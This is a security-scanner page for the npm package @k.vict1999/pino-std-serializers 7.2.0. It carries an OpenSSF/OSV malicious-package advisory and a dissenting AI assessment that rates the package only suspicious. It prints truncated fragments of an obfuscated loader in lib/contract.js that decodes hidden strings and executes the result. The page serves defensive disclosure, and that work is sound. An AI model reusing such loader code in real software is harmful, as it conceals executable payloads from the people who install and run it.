@k.vict1999/pino-std-serializers@7.2.0
OpenSSF/OSV Malicious Advisory
imported 2h ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-18677 confirms this npm version as malicious.
Advisory
MAL-2026-18677
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @k.vict1999/pino-std-serializers (npm)
Details
@k.vict1999/pino-std-serializers ships lib/contract.js, byte-identical to the pino-testkit payload: an obfuscated module that decodes and evaluates code at load. It is a new name for the pino-testkit (MAL-2026-16484) campaign; the file hashes below match that record's evidence. The package presents itself as an ordinary utility, so the code runs on import or install without the user knowing.
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
The obfuscated loader and runtime invocation are suspicious, but the function is not imported by the declared entrypoint and its payload behavior is unresolved. This supports a warning rather than a confirmed-malware finding.
Static reason
One or more suspicious static signals were detected.
Trigger
A caller imports lib/contract.js directly and invokes its exported function.
Impact
The effect of the generated code is unresolved; the package’s declared entrypoint does not load this function.
Mechanism
The function transforms opaque strings, uses a computed factory to create runtime code, and invokes the result.
AI rationale
The obfuscated loader and runtime invocation are suspicious, but the function is not imported by the declared entrypoint and its payload behavior is unresolved. This supports a warning rather than a confirmed-malware finding.
Evidence
lib/contract.js
Independent scan evidence
public snapshotAI called this Suspicious at 91.0% confidence as Dangerous Capability with medium false-positive risk.
Evidence for AI warning decision
- The manifest selects index.js as the package entrypoint and declares no install lifecycle hook.
- The root entrypoint imports serializer modules; lib/contract.js separately exports a function.
- That function builds runtime code from opaque strings and invokes the result; the payload’s behavior is unresolved.
Evidence against
- The package’s declared scripts are lint and test commands, with no install hook.
- The inspected root entrypoint does not import lib/contract.js, so the opaque code is not reached through the declared entrypoint.
Behavioral surface
HighEntropyStringsMinifiedPossibleObfuscation
Source & flagged code
7 flaggedlib/contract.jsView file
2global.i = '2';
L3: var _$_d876 = (function (x, e) { var n = x.length; var q = []; for (var z = 0; z < n; z++) { q[z] = x.charAt(z) }; for (var z = 0; z < n; z++) { var r = e * (z + 213) + (e % 38225)...
L4: (function () { var teD = '', ziD = 422 - 411; function ype(b) { var t = 2319581; var l = b.length; var d = []; for (var k = 0; k < l; k++) { d[k] = b.charAt(k) }; for (var k = 0; k...
High
Obfuscated Payload Loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
lib/contract.jsView on unpkg · L24_ci%prF:]ch]o+kf%t|=aFtrc4;Faf.0on(l).!.eh(t)s..2rs;t"e>r3pdt :,jF_FtF301.M).[0.=n!feiya2t=c{;e i+lF*ra(Bau[1tFmnF+]*r.i"11dF]1)}\/o3e.)]84!}F-.u_nsw')); var cMp = kWJ(teD, HRZ); cMp(7746); return 9212 })()
}
module.exports = contract
High
Ai Review Evidence
The root entrypoint imports serializer modules; lib/contract.js separately exports a function.
lib/contract.jsView on unpkg · L44;{.,xr0'; var whk = ype[OUN]; var YOB = ''; var kWJ = whk; var ovJ = whk(YOB, ype(LEF)); var HRZ = ovJ(ype('=dxig9uffhtC4rkbrar!ac)=%r](-{urF]r(FF]7]cy%e%,F;F6ale$es Fud?a6rF{oos};0T1yg.C]F9a]fsiuc.sn%rs+i1tc.,
Findings
7 High1 Medium2 Low
HighObfuscated Payload Loaderlib/contract.js
HighSuspicious Lifecycle Evidencepackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidencelib/contract.js
HighAi Review Evidencelib/contract.js
HighAi Review Evidencelib/contract.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
Affected versions and remediation
This report applies to @k.vict1999/pino-std-serializers@7.2.0.
See all versions of @k.vict1999/pino-std-serializers for other recorded verdicts.
- Avoid installing @k.vict1999/pino-std-serializers@7.2.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.